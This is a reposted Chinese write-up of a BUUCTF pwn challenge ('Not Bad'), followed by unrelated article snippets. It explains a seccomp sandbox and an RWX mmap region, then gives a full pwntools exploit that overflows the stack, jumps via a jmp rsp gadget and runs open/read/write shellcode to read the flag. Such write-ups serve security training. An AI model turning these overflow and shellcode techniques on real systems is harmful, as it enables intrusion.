[BUUCTF]-PWN:[极客大挑战 2019]Not Bad解析

保护

ida

这里使用mmap函数创造了一个内存映射区域

从地址0x123000开始,大小位0x1000

权限为可写可执行(可读0x1,可写0x2,可执行0x3)

设置为私有映射(MAP_PRIVATE)和匿名映射(MAP_ANONYMOUS

常见的标志的值:

  • MAP_SHARED:1
  • MAP_PRIVATE:2
  • MAP_ANONYMOUS:0x20 (32)
  • MAP_FIXED:0x10 (16)
  • MAP_LOCKED:0x2000 (8192)
  • MAP_NORESERVE:0x4000 (16384)

将要映射的文件描述符设为-1,表示不关联任何文件

剩下的0指的就是偏移量了,没有偏移

这里首先初始化将所有系统调用禁用,并且后面使用seccomp_rule_add函数添加了可使用的系统调用。

根据64位系统调用号,分别是:

read:系统调用号为0

write:系统调用号为1

open:系统调用号为2

exit:系统调用号为60

因此系统调用exceve就没法用了。

解题思路:

我尝试在栈上构造shellcode,但是始终因为字节大小稍微大一点没法进行。所以只能将shellcode写入mmap所创建的空间中了,正好此空间可写可执行。

完整exp:

from pwn import*
context(log_level='debug',arch='amd64')
#p=process('./bad')
p=remote('node5.buuoj.cn',26264)
jmprsp=0x400A01
mmap=0x123000readmmap=asm(shellcraft.read(0,mmap,100))
callmmap=asm('''
mov rax,0x123000
call rax
''')
moversp=asm('''
sub rsp,0x30
call rsp
''')
payload=readmmap+callmmap
payload=payload.ljust(0x28,b'\x00')
payload+=p64(jmprsp)+moversp
p.sendlineafter(b'have fun!',payload)opens=asm(shellcraft.open('./flag'))
reads=asm(shellcraft.read(3,mmap,100))
writes=asm(shellcraft.write(1,mmap,100))
payload=opens+reads+writes
p.sendline(payload)p.interactive()

这里来解释一下部分exp

补充点1:reads=asm(shellcraft.read(3,mmap,100))这里为什么填3而不是0?

答:这个是文件描述符的知识点,在linux中系统会默认设置0,1,2三个文件描述符,而这三个文件描述符代表的分别是标准输入(就是我们从显示器输入的),标准输出,标准错误输出。在我们没有关闭任何一个文件描述符时,我们再打开一个文件,那就会使文件描述符3指向那个文件,以此类推。这里我们打开了flag,所以flag的文件描述符为3。当然为了省事,也可以写成reads=asm(shellcraft.read('rax',mmap,100))

补充点2:在写汇编代码时记得使用context标注系统位,比如64位。

补充点3:opens=asm(shellcraft.open('./flag'))在远程中要写./flag而不是仅仅flag而已。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/674343.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【buuctf--被偷走的文件】

将 ftp 流量过滤下来,追踪 ftp 流量,得到下图 先解释一下这四行什么意思: PASV: 这是FTP的命令,用于告知服务器在数据连接中使用被动模式(Passive Mode)。在被动模式下,数据连接的…

Java Stram 流对于返回对象的处理 (结束流)

Java Stram 流对于返回对象的处理 (结束流) package com.zhong.streamdemo.showdownstreamdemo;import lombok.AllArgsConstructor; import lombok.Data; import lombok.NoArgsConstructor;import java.util.*; import java.util.stream.Collectors; im…

【golang】24、go get 和 go mod:indrect 与 go mod tidy

文章目录 go get 会执行如下操作: 操作 go.mod 文件(add、update、remove)下载依赖到 $GOPATH/pkg/mod 中若已安装,则更新该包,到最新版本 试验前置准备:首先删除已下载的依赖,rm -rf $GOPATH…

MySQL篇----第十四篇

系列文章目录 文章目录 系列文章目录前言一、MySQL 数据库作发布系统的存储,一天五万条以上的增量,预计运维三年,怎么优化?二、锁的优化策略三、索引的底层实现原理和优化四、什么情况下设置了索引但无法使用前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽…

OpenId、UnionId

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 1. OpenId1.1 概念1.2 公众号OpenId(简称 wxopenid)同一个微信用户在小程序和公众号上的openid是不同的 1.3 openid的获取方式方式1. 调用wx…

图片视频上传压缩的考察

本文仅做上传 / 纯客户端压缩功能的调研 上传 能否在上传时就限制图片的张数?移动端不能使图库变成禁止状态,用户点击完成之后才能进行校验。 能否限制上传的文件格式?可以限制,PC端能够完美限制,移动端只能部分限制…

《Docker极简教程》--Docker环境的搭建--在Linux上搭建Docker环境

更新系统:首先确保所有的包管理器都是最新的。对于基于Debian的系统(如Ubuntu),可以使用以下命令:sudo apt-get update sudo apt-get upgrade安装必要的依赖项:安装一些必要的工具,比如ca-certi…

Visual Studio 2022中创建的C++项目无法使用万能头<bits/stdc++.h>解决方案

目录 发现问题 解决办法 第一步 第二步 第三步 第四步 最后一步 问题解决 发现问题 如果大家也遇到下面这种问题,可能是没有include文件夹中没有bits/stdc.h 解决办法 第一步 打开一个C项目,鼠标移动至头文件上右击,选择转到文档或…

怎么能批量验证收件箱有效性

批量验证收件箱有效性是确保邮件营销活动成功送达目标受众的关键步骤。以下将介绍几种方法来实现这一目标。 首先,可以使用专业的邮件验证服务。这些服务通常提供API接口或批量上传功能,能够快速检查大量邮件地址的有效性。它们通过验证邮件地址的语法、…

能源管理师——为能源可持续发展护航

能源管理师是在能源管理领域具有专业知识和技能的专业人士,他们的工作对于实现能源的有效利用和可持续发展至关重要。 能源管理师的主要职责是协助企业或组织进行能源管理,包括能源规划、能源审计、节能措施的实施和能源绩效的评估等。他们通过对能源使…

Merging of neural networks

Merging of neural networks 论文链接:https://arxiv.org/pdf/2204.09973v2.pdf源码链接:https://github.com/fmfi-compbio/neural-network-merging 简介 典型的神经网络训练从随机初始化开始,并进行训练,直到在某些局部最优中…

Win32 SDK Gui编程系列之-- 读写初始化文件(INI文件)

读写初始化文件(INI文件) 1、初始化文件(INI文件) INI文件是一种结构简单的文本文件,是配置文件的事实标准。这种文件主要在Windows中使用,但也可在其他操作系统中使用。INI文件的名称来源于这种文件的扩展名“.INI”(initialization的缩写)。扩展名还包括configuration(…

YOLOv8改进 | 利用训练好权重文件计算YOLOv8的FPS、推理每张图片的平均时间(科研必备)

一、本文介绍 本文给大家带来的改进机制是利用我们训练好的权重文件计算FPS,同时打印每张图片所利用的平均时间,模型大小(以MB为单位),同时支持batch_size功能的选择,对于轻量化模型的读者来说,本文的内容对你一定有帮助,可以清晰帮你展示出模型速度性能的提升以及轻量…

Kubernetes 是什么?

介绍 Kubernetes 是一个强大的开源系统,最初由谷歌开发,并得到云原生计算基金会(CNCF)的支持,用于在集群环境中管理容器化应用程序。它旨在提供更好的方法来管理相关的、分布式的组件和服务,跨越各种基础设…

Sublime Text 3配置 Node.js 开发环境

《开发工具系列》 Sublime Text 3配置 Node.js 开发环境 一、引言二、主要内容2.1 初识 Sublime Text 32.2 初识 Node.js2.3 接入 Node.js2.3.1 下载并安装 Node.js2.3.2 环境变量配置 2.4 配置 Node.js 开发环境2.5 编写 Node.js 代码2.6 运行 Node.js 代码 三、总结 一、引言…

【MySQL】-11 MySQL 架构及优化原理

MySQL 架构及优化原理 1 MySQL逻辑架构2 MySQL逻辑架构整体分为三层 :3 MySQL查询过程MySQL 整个查询执行过程,总的来说分为 5 个步骤 :3.1 客户端/服务端通信协议3.2 查询缓存3.3 查询优化3.4 查询执行引擎3.5 返回结果给客户端 4 查询系统性能1 分析查询语句2 索…

Kubernetes实战(二十七)-pod内多容器运行

1 在一个pod中创建多个容器 1.1 YAML文件示例 # cat multi-pods.yaml --- apiVersion: v1 kind: Pod metadata:name: multi-pods spec:containers:- name: blue-pod-containerimage: busybox:1.31.1command: ["sleep"]args: ["1000"]- name: green-p…

05 06 Verilog基础语法与应用讲解

05. 1. 位操作 计数器实验升级&#xff0c;设计8个LED灯以每个0.5s的速率循环闪烁&#xff08;跑马灯&#xff09; 1.1 方法1&#xff1a;使用移位操作符<<来控制led灯的循环亮灭 设计代码 Verilog中&#xff0c;判断操作的时候不加位宽限定是可以的&#xff0c;比如i…

学习Android的第七天

目录 Android EditText 输入框 设置默认提示文本 范例 获得焦点后全选组件内所有文本内容 范例 限制EditText输入类型 android:inputType 值列表 范例 设置最小行&#xff0c;最多行&#xff0c;单行&#xff0c;多行&#xff0c;自动换行 范例 设置文字间隔 范例 …

React环境配置

1.安装Node.js Node.js官网&#xff1a;https://nodejs.org/en/ 下载之后按默认选项安装好 重启电脑即可自动完成配置 2.安装React 国内使用 npm 速度很慢&#xff0c;可以使用淘宝定制的 cnpm (gzip 压缩支持) 命令行工具代替默认的 npm。 ①使用 winR 输入 cmd 打开终端 ②依…